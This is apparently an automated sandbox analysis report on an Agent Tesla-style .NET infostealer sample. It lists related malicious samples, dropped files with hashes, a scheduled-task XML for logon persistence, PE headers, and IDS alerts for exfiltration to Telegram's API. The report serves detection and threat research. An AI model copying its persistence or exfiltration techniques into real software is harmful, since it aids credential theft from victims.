	avp.msi	Get hash	malicious	Unknown	Browse	104.26.12.205
	https://cvn7.sa.com/invoice.html?app=	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.13.205
	TiKj3IVDj4.exe	Get hash	malicious	Mint Stealer	Browse	104.26.12.205
	KZWCMNWmmqi9lvI.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
api.telegram.org	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	s.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	s.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	DHL.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Sp#U251c#U0434ti.exe	Get hash	malicious	DanaBot	Browse	149.154.167.220
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	s.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	pQTmpNQX2u.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	s.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	s.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	DHL.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Sp#U251c#U0434ti.exe	Get hash	malicious	DanaBot	Browse	149.154.167.220
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	s.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	New Soft Update.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	pQTmpNQX2u.exe	Get hash	malicious	DCRat	Browse	149.154.167.220
	Sp#U251c#U0434ti.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	https://url.us.m.mimecastprotect.com/s/kCCtC5yEz0tWp5ANrfz_KPV?domain=paplastics365-my.sharepoint.com	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	z42MNA2024000000041-KWINTMADI-11310Y_K.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	z14Novospedidosdecompra_Profil_4903.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38
	https://wetransfer.com/downloads/63408c72b6333965afb0118ce81f53d220240419112437/2452e85458854b24e1ec42e87285f82420240419112457/7d30d1?trk=TRN_TDL_01&utm_campaign=TRN_TDL_01&utm_medium=email&utm_source=sendgrid	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://edbullardcompany-my.sharepoint.com/:f:/g/personal/eric_rosario_bullard_com/EoLKvcaqSE1Go3fA5to5CQABtxAftKTD0ktrakp7rbi4Xg?e=Mvbf0D	Get hash	malicious	HTMLPhisher	Browse	172.64.41.3
	SecuriteInfo.com.W32.ABRisk.NVJI-4581.31168.9649.exe	Get hash	malicious	Unknown	Browse	104.21.75.43
	SecuriteInfo.com.W32.ABRisk.NVJI-4581.31168.9649.exe	Get hash	malicious	Unknown	Browse	172.67.213.82
	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	https://docx-nok.online/	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	172.67.179.148
	https://download-myproposal.xyz	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	rTDN001-180424_PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220 104.26.12.205
	PO-095325.scr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 104.26.12.205
	Copy of Poseidon Marine 4th monthly Stores Apr 2024 R3 .xls.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220 104.26.12.205
	W4tW72sfAD.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220 104.26.12.205
	http://www.sushi-idea.com	Get hash	malicious	Unknown	Browse	149.154.167.220 104.26.12.205
	Receipt_032114005.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220 104.26.12.205
	DHL.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 104.26.12.205
	eInvoicing_pdf.vbs	Get hash	malicious	FormBook	Browse	149.154.167.220 104.26.12.205
	KjCBSM7Ukv.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	149.154.167.220 104.26.12.205
	eO2bqORIJb.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220 104.26.12.205

Process:	C:\Users\user\AppData\Roaming\vZkoWbol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.352427679901606
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPE4KMRbE4Kx1qE4qXKIE4oKNzKoZAE4Kze0E4x84j:MxHKlYHKh3oPHKMRbHKx1qHitHo6hAH4
MD5:	DE3D940E8A9B37DFC59B7160768581E1
SHA1:	BEBDEF8AD46E49F69824A37D87AC578DAA8721A6
SHA-256:	EF96DE13E112BE8682DDAFA535A2C22C98EBE65390BC43A435D35F92802EB905
SHA-512:	68490DAE1E337E3A8A2D78CFB9EE5099A468EFBB9AB1E582E351A669A65B0233A4A354420F2CD7E235993A9CA166126A035E3DF24213FFC4ADE6C0714DD7AF56
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fc

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z1E-catalogSamples.exe.log

Download File

Process:	C:\Users\user\Desktop\z1E-catalogSamples.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.352427679901606
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPE4KMRbE4Kx1qE4qXKIE4oKNzKoZAE4Kze0E4x84j:MxHKlYHKh3oPHKMRbHKx1qHitHo6hAH4
MD5:	DE3D940E8A9B37DFC59B7160768581E1
SHA1:	BEBDEF8AD46E49F69824A37D87AC578DAA8721A6
SHA-256:	EF96DE13E112BE8682DDAFA535A2C22C98EBE65390BC43A435D35F92802EB905
SHA-512:	68490DAE1E337E3A8A2D78CFB9EE5099A468EFBB9AB1E582E351A669A65B0233A4A354420F2CD7E235993A9CA166126A035E3DF24213FFC4ADE6C0714DD7AF56
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fc

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.380805901110357
Encrypted:	false
SSDEEP:	48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//ZPUyNs:lGLHyIFKL3IZ2KRH9Ougks
MD5:	E2041D8B64796610583A0818907F6010
SHA1:	FB12EA7BC43EFD4EFB0F8517EF2B28DB37B63773
SHA-256:	B385BC696645A7AE27DAE1DE0C6F737C14BC9266E7465E366B7A59B376E7B68A
SHA-512:	95617EA8A038226E0DA45FDB21A1EC59BA855A57B696CF018AC4CED51088D04A58B6A24F55ADFC81B8EBD73841D282D3A12D851FA90309B8681F1CF0FE9AB108
Malicious:	false
Reputation:	low
Preview:	@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0h2twhjl.00o.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nf4p0d0.wfo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgw5mrw1.0fe.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oy10pnqk.srv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp9244.tmp

Download File

Process:	C:\Users\user\Desktop\z1E-catalogSamples.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1581
Entropy (8bit):	5.101676095819727
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtn+xvn:cgergYrFdOFzOzN33ODOiDdKrsuTyv
MD5:	21B54999DABB8081011508222A9917C6
SHA1:	1590369EA20195EA675500978662103CC3F34DF0
SHA-256:	2FE3120B86569FC556C35CB00843C6B7BF62371A8ADB1B635EAAEF4C24A6C5B2
SHA-512:	CE14D9DC289E262963BB65F53E00DFAB663F1FDF513CF359C5E50B8F9C25A9DA8F0323ED96F4332DA85940D8E3C6543E00282D9CD51B206DDA0E9C6E5F64540A
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmpA1D5.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\vZkoWbol.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1581
Entropy (8bit):	5.101676095819727
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtn+xvn:cgergYrFdOFzOzN33ODOiDdKrsuTyv
MD5:	21B54999DABB8081011508222A9917C6
SHA1:	1590369EA20195EA675500978662103CC3F34DF0
SHA-256:	2FE3120B86569FC556C35CB00843C6B7BF62371A8ADB1B635EAAEF4C24A6C5B2
SHA-512:	CE14D9DC289E262963BB65F53E00DFAB663F1FDF513CF359C5E50B8F9C25A9DA8F0323ED96F4332DA85940D8E3C6543E00282D9CD51B206DDA0E9C6E5F64540A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Roaming\vZkoWbol.exe

Download File

Process:	C:\Users\user\Desktop\z1E-catalogSamples.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	704512
Entropy (8bit):	7.9093549080558665
Encrypted:	false
SSDEEP:	12288:p+DOcsEdTxCGyzEcO8EupwU8VqZ33ojcXuh54OrTu94PvI2BNURvbrOj6uX:pST1eEcBEHqZc8O6+Pv+X3uX
MD5:	2D9DFDB275D38155CBA293DC619430FA
SHA1:	523F6A7040F3B330E708A3E84D48A18BDCD77110
SHA-256:	9BF25EBE467E570FC91E2003B17061C765FCB54B6D505A7DB43263981504FA5F
SHA-512:	B1809D426F7C9AE847E33BB0FB935194A9CFA098CF36F664DEAF8BD6B95A414F0FC0085EFBCB79272DAF7FDF45735E8841F1BD5102421AD276B5A784B5742C44
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../..f................................. ........@.. ....................... ............@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........B...............................................................0..A....... .........%.....(......... 2........%.g...(.....h...(.........&...B... ....(..........0..............,.".".#..(....+.....0...............".".#. ....(....+......0...............".".#...(....+.....0...................... ....(....+.....0..+.....................(N...+....s....}......j}......0............{......*...0..b.......~.........E........5....... ........... .....{.....(f.......,...

C:\Users\user\AppData\Roaming\vZkoWbol.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\z1E-catalogSamples.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.9093549080558665
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	z1E-catalogSamples.exe
File size:	704'512 bytes
MD5:	2d9dfdb275d38155cba293dc619430fa
SHA1:	523f6a7040f3b330e708a3e84d48a18bdcd77110
SHA256:	9bf25ebe467e570fc91e2003b17061c765fcb54b6d505a7db43263981504fa5f
SHA512:	b1809d426f7c9ae847e33bb0fb935194a9cfa098cf36f664deaf8bd6b95a414f0fc0085efbcb79272daf7fdf45735e8841f1bd5102421ad276b5a784b5742c44
SSDEEP:	12288:p+DOcsEdTxCGyzEcO8EupwU8VqZ33ojcXuh54OrTu94PvI2BNURvbrOj6uX:pST1eEcBEHqZc8O6+Pv+X3uX
TLSH:	6DE4230CAFE98E51C2AD07BED06394991B35D392E007FB066ED094EE1D537A2D1C5BA3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../..f................................. ........@.. ....................... ............@................................

File Icon


Icon Hash:	9931c5b98687b385

Static PE Info

General

Entrypoint:	0x4ac4fe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x661F0F2F [Tue Apr 16 23:52:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac4b0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xae000	0x1600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb0000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xaa504	0xaa600	efc8e9a18a1893d428d58db5ed9404c4	False	0.9413503645451211	data	7.919359410493161	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xae000	0x1600	0x1600	2ad9d646792a418e4acbd118fb762c4b	False	0.7341974431818182	data	6.525337678803363	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb0000	0xc	0x200	b4a6f2032cb6c7f12aac4e7429bf0505	False	0.041015625	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xae0c8	0xf5d	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9125349605898805
RT_GROUP_ICON	0xaf038	0x14	data	1.05
RT_VERSION	0xaf05c	0x3c0	data	0.4510416666666667

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/19/24-19:33:10.146400	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49708	443	192.168.2.5	149.154.167.220
04/19/24-19:33:06.739874	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49706	443	192.168.2.5	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 19:33:04.543025017 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:04.543060064 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:04.543142080 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:04.549525023 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:04.549540043 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:04.776035070 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:04.776119947 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:04.778759003 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:04.778769016 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:04.779187918 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:04.833252907 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:04.839976072 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:04.880157948 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:05.080715895 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:05.080806017 CEST	443	49705	104.26.12.205	192.168.2.5
Apr 19, 2024 19:33:05.081012011 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:05.086179972 CEST	49705	443	192.168.2.5	104.26.12.205
Apr 19, 2024 19:33:05.926769018 CEST	49706	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:33:05.926808119 CEST	443	49706	149.154.167.220	192.168.2.5
Apr 19, 2024 19:33:05.926922083 CEST	49706	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:33:05.943377018 CEST	49706	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:33:05.943392992 CEST	443	49706	149.154.167.220	192.168.2.5
Apr 19, 2024 19:33:06.374706984 CEST	443	49706	149.154.167.220	192.168.2.5
Apr 19, 2024 19:33:06.374838114 CEST	49706	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:33:06.379019976 CEST	49706	443	192.168.2.5	149.154.167.220
Apr 19, 2024 19:33:06.379031897 CEST	443	49706	149.154.167.220	192.168.2.5
